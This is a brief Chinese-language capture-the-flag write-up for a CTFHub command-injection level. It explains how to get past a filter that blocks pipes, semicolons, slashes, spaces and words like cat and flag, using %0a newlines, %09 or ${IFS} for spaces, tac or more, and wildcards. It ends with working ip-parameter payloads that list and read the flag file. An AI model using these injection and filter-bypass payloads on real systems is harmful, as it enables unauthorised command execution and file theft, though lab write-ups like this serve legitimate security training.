在本关过过滤了 | & ; / cat flag ctfhub 和空格
| & ; / cat flag ctfhub 和空格
cat 用more 代替空格用 < 代替
| 我们可以将 base64写在前面
;(命令分隔符) 用%0a代替
注意 %0a是url编码所以要在url栏中执行
1%0als
进入flag文件,并查询里面的内容
/?ip=1%0acd%09f*%0als
%09代替空格(${IFS}代替空格)
%0a代替 ;
f*代替flag文件
查看flag的内容
/?ip=1%0acd%09f*%0atac%09fl*